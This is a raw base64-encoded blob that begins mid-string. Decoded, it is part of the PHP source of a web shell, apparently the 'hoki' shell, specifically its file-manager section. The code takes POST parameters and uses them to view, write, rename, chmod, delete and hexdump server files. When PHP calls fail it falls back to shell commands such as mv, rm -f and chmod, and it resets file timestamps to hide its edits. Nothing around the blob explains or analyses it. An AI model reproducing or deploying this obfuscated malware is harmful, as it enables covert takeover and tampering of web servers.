zPSdwYWdlcy1ob2xkZXInPjxkaXYgY2xhc3M9J3BhZ2VzLW51bWJlcic+Ii4kcGFnZV9idWlsZGVyLiI8L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4iOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gZ2V0X3BhZ2luYXRpb25fbGlua3MoJGN1cnJlbn
RfcGFnZSwgJHRvdGFsX3BhZ2VzKXsKICAgICRsaW5rcyA9ICIiOwogICAgaWYgKCR0b3RhbF9wYWdlcyA+PSAxICYmICRjdXJyZW50X3BhZ2UgPD0gJHRvdGFsX3BhZ2VzKSB7CgkJJGxpbmtzIC49ICI8YSBvbmNsaWNrPVwicGFnZUNoYW5nZWRGa
Wxlc01hbih0aGlzKTtcIiBjbGFzcz1cInBhZ2UtbnVtYmVyXCI+PDw8L2E+IjsKCQkkc2VsZWN0ZWRfcGFnZSA9ICIiOwoJCWlmKCRjdXJyZW50X3BhZ2UgPT0gMSl7CgkJCSRzZWxlY3RlZF9wYWdlID0gIiBhY3RpdmUtcGFnZS1udW1iZXIiOwoJ
CX0KICAgICAgICAkbGlua3MgLj0gIjxhIG9uY2xpY2s9XCJwYWdlQ2hhbmdlZEZpbGVzTWFuKHRoaXMpO1wiIGNsYXNzPVwicGFnZS1udW1iZXIiLiRzZWxlY3RlZF9wYWdlLiJcIj4xPC9hPiI7CiAgICAgICAgJGkgPSBtYXgoMiwgJGN1cnJlbnR
fcGFnZSAtIDUpOwogICAgICAgIGlmICgkaSA+IDIpCiAgICAgICAgICAgICRsaW5rcyAuPSAiPGEgY2xhc3M9XCJwYWdlLW51bWJlclwiPi4uLjwvYT4iOwogICAgICAgIGZvciAoOyAkaSA8IG1pbigkY3VycmVudF9wYWdlICsgNiwgJHRvdGFsX3
BhZ2VzKTsgJGkrKykgewoJCQlpZigkaSA9PSAkY3VycmVudF9wYWdlKXsKCQkJCSRzZWxlY3RlZF9wYWdlID0gIiBhY3RpdmUtcGFnZS1udW1iZXIiOwoJCQl9ZWxzZXsKCQkJCSRzZWxlY3RlZF9wYWdlID0gIiI7CgkJCX0KICAgICAgICAgICAgJ
GxpbmtzIC49ICI8YSBvbmNsaWNrPVwicGFnZUNoYW5nZWRGaWxlc01hbih0aGlzKTtcIiBjbGFzcz1cInBhZ2UtbnVtYmVyIi4kc2VsZWN0ZWRfcGFnZS4iXCI+eyRpfTwvYT4iOwogICAgICAgIH0KICAgICAgICBpZiAoJGkgIT0gJHRvdGFsX3Bh
Z2VzKQogICAgICAgICAgICAkbGlua3MgLj0gIjxhIGNsYXNzPVwicGFnZS1udW1iZXJcIj4uLi48L2E+IjsKCQkkc2VsZWN0ZWRfcGFnZSA9ICIgbGFzdC1wYWdlLW51bWJlciI7CgkJaWYoJGN1cnJlbnRfcGFnZSA9PSAkdG90YWxfcGFnZXMpewo
JCQkkc2VsZWN0ZWRfcGFnZSAuPSAiIGFjdGl2ZS1wYWdlLW51bWJlciI7CgkJfQogICAgICAgICRsaW5rcyAuPSAiPGEgb25jbGljaz1cInBhZ2VDaGFuZ2VkRmlsZXNNYW4odGhpcyk7XCIgY2xhc3M9XCJwYWdlLW51bWJlciIuJHNlbGVjdGVkX3
BhZ2UuIlwiPnskdG90YWxfcGFnZXN9PC9hPiI7CgkJJGxpbmtzIC49ICI8YSBvbmNsaWNrPVwicGFnZUNoYW5nZWRGaWxlc01hbih0aGlzKTtcIiBjbGFzcz1cInBhZ2UtbnVtYmVyXCI+Pj48L2E+IjsKICAgIH0KICAgIHJldHVybiAkbGlua3M7C
n0KZnVuY3Rpb24gaG9raUZpbGVzVG9vbHMoKXsKaG9raWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz0iZmlsZXN0b29scyIgc3R5bGU9ImhlaWdodDogMTAwJTsiPic7CmlmKGlzc2V0KCRfUE9TVFsnaG9raTEnXSkpJF9QT1NUWydob2tpMSddID0g
cmF3dXJsZGVjb2RlKCRfUE9TVFsnaG9raTEnXSk7CiRob2tpMV9kZWNvZGVkID0gJF9QT1NUWydob2tpMSddOwokY2hkaXJfZmFscyA9IGZhbHNlOwppZighQGNoZGlyKCRfUE9TVFsnYyddKSl7CgkkY2hkaXJfZmFscyA9IHRydWU7CgkkX1BPU1R
bJ2hva2kxJ10gPSAkX1BPU1RbImMiXS4iLyIuJF9QT1NUWyJob2tpMSJdOwoJJGhva2lfY2FucnVuY21kID0gX2hva2lfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKTsKCWlmKCRob2tpX2NhbnJ1bmNtZCl7CgkJJHNsYXNoZWRfaG9raTEgPSBhZG
RzbGFzaGVzKCRfUE9TVFsnaG9raTEnXSk7CgkJJGZpbGVfaW5mbyA9IGV4cGxvZGUoIjoiLCBob2tpRXgoJ3N0YXQgLWMgIiVGOiVVOiVHOiVzOiVZOjAlYTolQSIgIicuJHNsYXNoZWRfaG9raTEuJyInKSk7CgkJJHBlcm1fY29sb3JfY2xhc3MgP
SBob2tpRXgoImlmIFtbIC13ICciLiRzbGFzaGVkX2hva2kxLiInIF1dOyB0aGVuIGVjaG8gbWFpbl9ncmVlbl9wZXJtOyBlbGlmIFtbIC1yICciLiRzbGFzaGVkX2hva2kxLiInIF1dOyB0aGVuIGVjaG8gbWFpbl93aGl0ZV9wZXJtOyBlbHNlIGVj
aG8gbWFpbl9yZWRfcGVybTsgZmkiKTsKCX0KfQppZigkX1BPU1RbJ2hva2kyJ10gPT0gJ2F1dG8nKXsKaWYoaXNfYXJyYXkoQGdldGltYWdlc2l6ZSgkX1BPU1RbJ2hva2kxJ10pKSl7CiRfUE9TVFsnaG9raTInXSA9ICdpbWFnZSc7Cn1lbHNlewo
JJF9QT1NUWydob2tpMiddID0gJ3ZpZXcnOwoJaWYoJGNoZGlyX2ZhbHMpewoJCWlmKCRob2tpX2NhbnJ1bmNtZCl7CgkJCSRtaW1lID0gZXhwbG9kZSgiOiIsIGhva2lFeCgiZmlsZSAtLW1pbWUtdHlwZSAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnaG
9raTEnXSkuIiciKSk7CgkJCSRtaW1ldHlwZSA9ICRtaW1lWzFdOwoJCQlpZighZW1wdHkoJG1pbWV0eXBlKSl7CgkJCQlpZihzdHJzdHIoJG1pbWV0eXBlLCAiaW1hZ2UiKSl7CgkJCQkJJF9QT1NUWydob2tpMiddID0gJ2ltYWdlJzsKCQkJCX0KC
QkJfQoJCX0KCX0KfQp9CmlmKCRfUE9TVFsnaG9raTInXSA9PSAicmVuYW1lIiAmJiAhZW1wdHkoJF9QT1NUWydob2tpMyddKSAmJiBAaXNfd3JpdGFibGUoJF9QT1NUWydob2tpMSddKSl7JHJlbmFtZV9jYWNoZSA9ICRfUE9TVFsnaG9raTMnXTt9
CmlmKEAkX1BPU1RbJ2hva2kyJ10gPT0gJ21rZmlsZScpewokX1BPU1RbJ2hva2kxJ10gPSB0cmltKCRfUE9TVFsnaG9raTEnXSk7CmlmKCRjaGRpcl9mYWxzJiYkaG9raV9jYW5ydW5jbWQpewoJaWYoX2hva2lfaXNfd3JpdGFibGUoJF9QT1NUWyJ
jIl0pKXsKCQlob2tpRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInO3RvdWNoICciLmFkZHNsYXNoZXMoJGhva2kxX2RlY29kZWQpLiInIik7CgkJJF9QT1NUWydob2tpMiddID0gImVkaXQiOwoJfQp9CmlmKCFAZmlsZV9leGlzdH
MoJF9QT1NUWydob2tpMSddKSl7CiRmcCA9IEBmb3BlbigkX1BPU1RbJ2hva2kxJ10sICd3Jyk7CmlmKCRmcCl7CiRfUE9TVFsnaG9raTInXSA9ICJlZGl0IjsKZmNsb3NlKCRmcCk7Cn0KfWVsc2V7CiRfUE9TVFsnaG9raTInXSA9ICJlZGl0IjsKf
Qp9CmlmKCFfaG9raV9maWxlX2V4aXN0cyhAJF9QT1NUWydob2tpMSddKSl7CmVjaG8gX19wcmUoKS4iPGNlbnRlcj48cD48ZGl2IGNsYXNzPVwidHh0Zm9udFwiPjxmb250IGNvbG9yPSdyZWQnPiEuLi5GSUxFIERPRVNUIE5PVCBFWElUUy4uLiE8
L2ZvbnQ+PC9kaXY+PC9wPjwvY2VudGVyPjwvZGl2PjxzY3JpcHQ+ZWRpdG9yX2Vycm9yPWZhbHNlO3JlbW92ZUhpc3RvcnkoJyIuJF9QT1NUWydob2tpNCddLiInKTs8L3NjcmlwdD4iOwpob2tpRm9vdGVyKCk7CnJldHVybjsKfQppZigkY2hkaXJ
fZmFscyl7CiRmaWxlc2l6ZSA9ICRmaWxlX2luZm9bM107CiR1aWRbIm5hbWUiXSA9ICRmaWxlX2luZm9bMV07CiRnaWRbIm5hbWUiXSA9ICRmaWxlX2luZm9bMl07CiRwZXJtY29sb3IgPSBob2tpUGVybXNDb2xvcihhcnJheSgiY2xhc3MiPT4kcG
VybV9jb2xvcl9jbGFzcywibnVtIj0+JGZpbGVfaW5mb1s1XSwiaHVtYW4iPT4kZmlsZV9pbmZvWzZdKSx0cnVlKTsKfWVsc2V7CiR1aWQgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZW93b
mVyIik/QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydob2tpMSddKSk6Jyc7CiRnaWQgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QHBvc2l4X2dldGdyZ2lk
KEBmaWxlZ3JvdXAoJF9QT1NUWydob2tpMSddKSk6Jyc7CmlmKCEkdWlkJiYhJGdpZCl7CiR1aWRbJ25hbWUnXSA9IGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25lcigkX1BPU1RbJ2hva2kxJ10pOicnOwokZ2lkWyduYW1lJ10
gPSBmdW5jdGlvbl9leGlzdHMoImZpbGVncm91cCIpP0BmaWxlZ3JvdXAoJF9QT1NUWydob2tpMSddKTonJzsKfQokcGVybWNvbG9yID0gaG9raVBlcm1zQ29sb3IoJF9QT1NUWydob2tpMSddKTsKJGZpbGVzaXplID0gQGZpbGVzaXplKCRfUE9TVF
snaG9raTEnXSk7CmlmKCFpc3NldCgkdWlkWyduYW1lJ10sJGdpZFsnbmFtZSddKXx8ZW1wdHkoJHVpZFsnbmFtZSddKXx8ZW1wdHkoJGdpZFsnbmFtZSddKSl7CglpZihfaG9raV9jYW5fcnVuQ29tbWFuZCgpKXsKCQlsaXN0KCR1aWRbJ25hbWUnX
SwkZ2lkWyduYW1lJ10pID0gZXhwbG9kZSgiOiIsIGhva2lFeCgnc3RhdCAtYyAiJVU6JUciICInLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0uIi8iLiRfUE9TVFsiaG9raTEiXSkuJyInKSk7Cgl9Cn0KfQppZihzdWJzdHIoJF9QT1NUWydob2tpMSdd
LCAwLCA3KSA9PSAicGhhcjovLyIpewoJJGhva2lfZmlsZV9kaXJlY3RvcnkgPSAkX1BPU1RbJ2hva2kxJ107Cn1lbHNlewoJJGhva2lfZmlsZV9kaXJlY3RvcnkgPSBzdHJfcmVwbGFjZSgiLy8iLCAiLyIsKCRjaGRpcl9mYWxzPyIiOiRfUE9TVFs
nYyddLicvJykuJF9QT1NUWydob2tpMSddKTsKfQplY2hvICc8ZGl2IHN0eWxlPSJvdmVyZmxvdzogaGlkZGVuO3doaXRlLXNwYWNlOiBub3dyYXA7dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7Ij48c3BhbiBjbGFzcz0iZWRpdG9yX2ZpbGVfaW5mb1
92YXJzIj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKGJhc2VuYW1lKCRob2tpMV9kZWNvZGVkKSkuJyA8c3BhbiBjbGFzcz0iZWRpdG9yX2ZpbGVfaW5mb192YXJzIj5TaXplOjwvc3Bhbj4gJy5ob2tpU2l6ZSgkZmlsZXNpemUpLicgP
HNwYW4gY2xhc3M9ImVkaXRvcl9maWxlX2luZm9fdmFycyI+UGVybWlzc2lvbjo8L3NwYW4+ICcuJHBlcm1jb2xvci4nIDxzcGFuIGNsYXNzPSJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10u
Jy8nLiRnaWRbJ25hbWUnXS4nIDxzcGFuIGNsYXNzPSJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiPkRpcmVjdG9yeTo8L3NwYW4+ICcuZGlybmFtZSgkaG9raV9maWxlX2RpcmVjdG9yeSkuJzwvZGl2Pic7CmlmKGVtcHR5KCRfUE9TVFsnaG9raTInXSk
pJF9QT1NUWydob2tpMiddID0gJ3ZpZXcnOwppZighX2hva2lfaXNfZGlyKCRfUE9TVFsnaG9raTEnXSkpewokbSA9IGFycmF5KCdWaWV3JywgJ0Rvd25sb2FkJywgJ0hpZ2hsaWdodCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnLCAnRGVsZX
RlJywgJ0ltYWdlJywgJ0hleGR1bXAnKTsKJGZ0eXBlID0gImZpbGUiOwp9ZWxzZXsKJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7CiRmdHlwZSA9ICJkaXIiOwp9CmVjaG8oJzxkaXY+Jyk7CmZvcmVhY2goJG0gYXMgJHYpC
mVjaG8gJHYgPT0gJ0RlbGV0ZScgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0idmFyIGNoaz1jb25maXJtKFwnQXJlIFlvdSBTdXJlIEZvciBEZWxldGUgVGhpcyBGaWxlID9cJyk7Y2hrP2VkaXRvcihcJycuYWRkc2xh
c2hlcyghaXNzZXQoJHJlbmFtZV9jYWNoZSk/JF9QT1NUWydob2tpMSddOiRyZW5hbWVfY2FjaGUpLidcJyxcJycuc3RydG9sb3dlcigkdikuJ1wnLFwnXCcsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydob2tpNCddLidcJyxcJycuJGZ
0eXBlLidcJyk6XCdcJzsiPjxzcGFuIGNsYXNzPSJlZGl0b3JfYWN0aW9ucyI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydob2tpMiddKT8nPGI+PHNwYW4gY2xhc3M9ImVkaXRvcl9hY3Rpb25zIj4gJy4kdi4nIDwvc3Bhbj4gPC9iPic6JH
YpLicgfCA8L3NwYW4+PC9hPiAnIDogJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImVkaXRvcihcJycuYWRkc2xhc2hlcyghaXNzZXQoJHJlbmFtZV9jYWNoZSk/JF9QT1NUWydob2tpMSddOiRyZW5hbWVfY2FjaGUpLidcJ
yxcJycuc3RydG9sb3dlcigkdikuJ1wnLFwnXCcsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydob2tpNCddLidcJyxcJycuJGZ0eXBlLidcJykiPjxzcGFuIGNsYXNzPSJlZGl0b3JfYWN0aW9ucyI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1A
JF9QT1NUWydob2tpMiddKT8nPGI+PHNwYW4gY2xhc3M9ImVkaXRvcl9hY3Rpb25zIj4gJy4kdi4nIDwvc3Bhbj4gPC9iPic6JHYpLicgfCA8L3NwYW4+PC9hPic7CmVjaG8gJzwvZGl2Pic7CnN3aXRjaCgkX1BPU1RbJ2hva2kyJ10pewpjYXNlICd
2aWV3JzpjYXNlICdlZGl0JzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKJGRpc2FibGVkX2J0biA9ICIiOwppZighQGlzX3dyaXRhYmxlKCRfUE9TVFsnaG9raTEnXSkmJiFfaG9raV9pc193cml0YWJsZSgkX1BPU1RbJ2hva2kxJ10pKXsKJGRpc2FibG
VkX2J0biA9ICJkaXNhYmxlZD1kaXNhYmxlZCI7CiRkaXNhYmxlZF9idG5fc3R5bGU9ICdiYWNrZ3JvdW5kOiAjZmYwMDAwO2NvbG9yOiAjZmZmOyc7Cn0KaWYoIWVtcHR5KCRfUE9TVFsnaG9raTMnXSkpewokX1BPU1RbJ2hva2kzJ10gPSBzdWJzd
HIoJF9QT1NUWydob2tpMyddLDEpOwokdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydob2tpMSddKTsKJGZwID0gQF9fd3JpdGVfZmlsZSgkX1BPU1RbJ2hva2kxJ10sJF9QT1NUWydob2tpMyddKTsKaWYoJGNoZGlyX2ZhbHMmJiRob2tpX2NhbnJ1
bmNtZCl7Cgkkcm5hbWUgPSAkaG9raTFfZGVjb2RlZDsKCSRyYW5kbmFtZSA9ICRybmFtZS5yYW5kKDExMSw5OTk5KTsKCSRmaWxlcGF0aCA9IGRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKS4iLyIuJHJhbmRuYW1lOwoJaWYoJGZ
wID0gQF9fd3JpdGVfZmlsZSgkZmlsZXBhdGggLCRfUE9TVFsnaG9raTMnXSkpewoJCWhva2lFeCgibXYgJyIuYWRkc2xhc2hlcygkZmlsZXBhdGgpLiInICciLmFkZHNsYXNoZXMoJF9QT1NUWyJob2tpMSJdKS4iJztybSAtZiAnIi5hZGRzbGFzaG
VzKCRmaWxlcGF0aCkuIiciKTsKCX0KfQppZigkZnApewplY2hvICdTYXZlZCE8YnI+JzsKQHRvdWNoKCRfUE9TVFsnaG9raTEnXSwkdGltZSwkdGltZSk7Cn0KfQplY2hvICc8ZGl2IGNsYXNzPSJlZGl0b3ItdmlldyI+PGRpdiBjbGFzcz0idmlld
y1jb250ZW50IGVkaXRvci1hY2UtY29udHJvbGxlciI+PGRpdiBzdHlsZT0iZGlzcGxheTppbmxpbmUtYmxvY2s7Ij4nLl9ob2tpX2xvYWRfYWNlX29wdGlvbnMoImVkaXRvciIpLic8YnV0dG9uIHN0eWxlPSJib3JkZXItcmFkaXVzOjEwcHg7IiBj
bGFzcz0iYnV0dG9uIGFjZS1jb250cm9sZXIiIG9uQ2xpY2s9ImNvcHlUb0NsaXBib2FyZCh0aGlzKTsiPkNvcHk8L2J1dHRvbj4gPGJ1dHRvbiBjbGFzcz0iYnV0dG9uIGFjZS1jb250cm9sZXIiIG9uY2xpY2s9Imhva2lBY2VUb0Z1bGxzY3JlZW4
odGhpcyk7Ij5GdWxsIFNjcmVlbjwvYnV0dG9uPiA8YnV0dG9uIG9uY2xpY2s9InZhciBhY2VfdmFsID0gaG9raV9hY2VfZWRpdG9ycy5lZGl0b3JbdGhpcy5nZXRBdHRyaWJ1dGUoXCdhY2VfaWRcJyldLmdldFZhbHVlKCk7ZWRpdG9yKFwnJy5hZG
RzbGFzaGVzKCRob2tpMV9kZWNvZGVkKS4nXCcsXCdlZGl0XCcsXCcxXCcrYWNlX3ZhbCxcJycuJF9QT1NUWydjJ10uJ1wnLFwnJy4kX1BPU1RbJ2hva2k0J10uJ1wnLFwnJy4kZnR5cGUuJ1wnKTtyZXR1cm4gZmFsc2U7IiBjbGFzcz0iYnV0dG9uI
GFjZS1jb250cm9sZXIgYWNlLXNhdmUtYnRuIiBzdHlsZT0id2lkdGg6IDEwMHB4O2hlaWdodDogMzNweDsnLiRkaXNhYmxlZF9idG5fc3R5bGUuJyIgJy4kZGlzYWJsZWRfYnRuLic+c2F2ZTwvYnV0dG9uPjwvZGl2PjxwcmUgY2xhc3M9Im1sMSB2
aWV3X21sX2NvbnRlbnQiPic7CmVjaG8gaHRtbHNwZWNpYWxjaGFycyhfX3JlYWRfZmlsZSgkX1BPU1RbJ2hva2kxJ10pKTsKZWNobyAnPC9wcmU+PC9kaXY+PC9kaXY+JzsKYnJlYWs7CmNhc2UgJ2hpZ2hsaWdodCc6CkBjaGRpcigkX1BPU1RbJ2M
nXSk7CmlmKEBpc19yZWFkYWJsZSgkX1BPU1RbJ2hva2kxJ10pKXsKZWNobyAnPGRpdiBjbGFzcz0iZWRpdG9yLXZpZXciPjxkaXYgY2xhc3M9InZpZXctY29udGVudCI+PGRpdiBjbGFzcz0ibWwxIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2
UxZTFlMTtjb2xvcjpibGFjazsiPic7CiRjb2RlID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsnaG9raTEnXSx0cnVlKTsKZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpL
CRjb2RlKS4nPC9kaXY+PC9kaXY+PC9kaXY+JzsKfQpicmVhazsKY2FzZSAnZGVsZXRlJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKaWYoQGlzX3dyaXRhYmxlKCRfUE9TVFsnaG9raTEnXSl8fCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0pewok
ZGVsZXRlZCA9IHRydWU7CmlmKCFAdW5saW5rKCRfUE9TVFsnaG9raTEnXSkpewoJJGRlbGV0ZWQgPSBmYWxzZTsKCWlmKCRob2tpX2NhbnJ1bmNtZCl7CgkJaWYoX2hva2lfaXNfd3JpdGFibGUoJF9QT1NUWydob2tpMSddKSl7CgkJCWhva2lFeCg
icm0gLWYgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2hva2kxJ10pLiInIik7CgkJCSRkZWxldGVkID0gdHJ1ZTsKCQl9Cgl9Cn0KaWYoJGRlbGV0ZWQpZWNobyAnRmlsZSBEZWxldGVkLi4uPHNjcmlwdD52YXIgZWxlbSA9ICQoIicuJF9QT1NUWydob2
tpNCddLiciKS5wYXJlbnROb2RlO2VsZW0ucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChlbGVtKTtkZWxldGUgZWRpdG9yX2ZpbGVzWyInLiRfUE9TVFsnaG9raTQnXS4nIl07PC9zY3JpcHQ+JztlbHNlIGVjaG8gJ0Vycm9yLi4uJzt9CmJyZWFrOwpjY
XNlICdjaG1vZCc6CkBjaGRpcigkX1BPU1RbJ2MnXSk7CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2kzJ10pKXsKJHBlcm1zID0gMDsKZm9yKCRpPXN0cmxlbigkX1BPU1RbJ2hva2kzJ10pLTE7JGk+PTA7LS0kaSkKJHBlcm1zICs9IChpbnQpJF9QT1NU
Wydob2tpMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ2hva2kzJ10pLSRpLTEpKTsKaWYoIUBjaG1vZCgkX1BPU1RbJ2hva2kxJ10sICRwZXJtcykpewppZigkY2hkaXJfZmFscyYmJGhva2lfY2FucnVuY21kKXsKaG9raUV4KCJjZCAnIi5
hZGRzbGFzaGVzKCRfUE9TVFsiYyJdKS4iJztjaG1vZCAiLmFkZHNsYXNoZXMoJF9QT1NUWydob2tpMyddKS4iICciLmFkZHNsYXNoZXMoJGhva2kxX2RlY29kZWQpLiInIik7CmVjaG8oJ1N1Y2Nlc3MhJyk7Cn1lbHNlewplY2hvICc8Zm9udCBjb2
xvcj0iI0ZGRkZGRiI+PGI+Q2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8L2I+PC9mb250Pjxicj48c2NyaXB0PmRvY3VtZW50Lm1mLmhva2kzLnZhbHVlPSIiOzwvc2NyaXB0Pic7fQp9ZWxzZXtlY2hvKCdTdWNjZXNzIScpO30KfQpjbGVhcnN0YXRjY
WNoZSgpOwpIb2tpTnVtKDgsOSwxMCw3LDYsNSw0LDIsMSk7CmlmKCRjaGRpcl9mYWxzKXsKCSRmaWxlX3Blcm0gPSAkZmlsZV9pbmZvWzVdOwp9ZWxzZXsKCSRmaWxlX3Blcm0gPSBzdWJzdHIoc3ByaW50ZignJW8nLCBAZmlsZXBlcm1zKCRfUE9T
VFsnaG9raTEnXSkpLC00KTsKfQplY2hvICc8c2NyaXB0Pmhva2kzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCRfUE9TVFsnaG9raTEnXSkuJ1wnLFwnJy4kX1BPU1RbJ2hva2kyJ10uJ1wnLHRoaXM
uY2htb2QudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydob2tpNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNobW9kIiB2YWx1ZT0iJy4kZmlsZV9wZXJtLi
ciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICI+PC9mb3JtPic7CmJyZWFrOwpjYXNlICdoZXhkdW1wJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKJGMgPSBfX3JlYWRfZmlsZSgkX1BPU1RbJ2hva2kxJ10pOwokbiA9IDA7CiRoID0gYXJyYXkoJ
zAwMDAwMDAwPGJyPicsJycsJycpOwokbGVuID0gc3RybGVuKCRjKTsKZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7CiRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7CnN3aXRjaCAoIG9yZCgkY1skaV0pICkgewpjYXNl
IDA6ICRoWzJdIC49ICcgJzsgYnJlYWs7CmNhc2UgOTogJGhbMl0gLj0gJyAnOyBicmVhazsKY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsKZGVmYXVsdDogJGhbMl0gLj0gJGNbJGldOyB
icmVhazsKfQokbisrOwppZiAoJG4gPT0gMzIpIHsKJG4gPSAwOwppZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fQokaFsxXSAuPSAnPGJyPic7CiRoWzJdIC49ICJcbiI7Cn0KfQplY2hvICc8ZG
l2IGNsYXNzPSJlZGl0b3ItdmlldyI+PGRpdiBjbGFzcz0idmlldy1jb250ZW50Ij48dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9YmxhY2s+PHRyPjx0ZCBiZ2NvbG9yPWdyYXk+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ
2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9yPSMyODI4Mjg+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0p
Lic8L3ByZT48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj48L2Rpdj4nOwpicmVhazsKY2FzZSAncmVuYW1lJzoKQGNoZGlyKCRfUE9TVFsnYyddKTsKJGhva2kxX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJob2tpMSJdKTsKJGhva2kzX2VzY2F
wZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJob2tpMyJdKTsKaWYoIWVtcHR5KCRfUE9TVFsnaG9raTMnXSkpewokY21kX3JlbmFtZSA9IGZhbHNlOwppZigkY2hkaXJfZmFscyYmJGhva2lfY2FucnVuY21kKXsKaWYoX2hva2lfaXNfd3JpdGFibGUoJF
9QT1NUWydob2tpMSddKSl7CiRob2tpMV9lc2NhcGUgPSBhZGRzbGFzaGVzKCRob2tpMV9kZWNvZGVkKTsKaG9raUV4KCJjZCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYyddKS4iJzttdiAnIi4kaG9raTFfZXNjYXBlLiInICciLmFkZHNsYXNoZXMoJ
F9QT1NUWydob2tpMyddKS4iJyIpOwp9ZWxzZXsKJGNtZF9yZW5hbWUgPSB0cnVlOwp9Cn1lbHNlewokaG9raTFfZXNjYXBlID0gYWRkc2xhc2hlcygkX1BPU1RbImhva2kxIl0pOwp9CmlmKCFAcmVuYW1lKCRfUE9TVFsnaG9raTEnXSwgJF9QT1NU
Wydob2tpMyddKSYmJGNtZF9yZW5hbWUpewplY2hvICdDYW5cJ3QgcmVuYW1lITxicj4nO31lbHNle2VjaG8oJ1JlbmFtZWQhPHNjcmlwdD50cnl7JCgiJy4kX1BPU1RbJ2hva2k0J10uJyIpLmlubmVySFRNTCA9ICI8ZGl2IGNsYXNzPVwnZWRpdG9
yLWljb25cJz4iK2xvYWRUeXBlKFwnJy4kaG9raTNfZXNjYXBlLidcJyxcJycuJGZ0eXBlLidcJyxcJycuJF9QT1NUWydob2tpNCddLidcJykrIjwvZGl2PjxkaXYgY2xhc3M9XCdlZGl0b3ItZmlsZS1uYW1lXCc+Jy4kaG9raTNfZXNjYXBlLic8L2
Rpdj4iO2VkaXRvcl9maWxlc1siJy4kX1BPU1RbJ2hva2k0J10uJyJdLmZpbGUgPSAiJy4kaG9raTNfZXNjYXBlLiciO3VwZGF0ZUZpbGVFZGl0b3IoIicuJGhva2kxX2VzY2FwZS4nIiwgIicuJGhva2kzX2VzY2FwZS4nIik7Jy4oJGZ0eXBlID09I
CJkaXIiPyJ1cGRhdGVEaXJzRWRpdG9yKCciLiRfUE9TVFsnaG9raTQnXS4iJywnIi4kaG9raTFfZXNjYXBlLiInKTsiOiIiKS4nfWNhdGNoKGUpe2NvbnNvbGUubG9nKGUpfTwvc2NyaXB0PicpOyRob2tpMV9lc2NhcGUgPSAkaG9raTNfZXNjYXBl
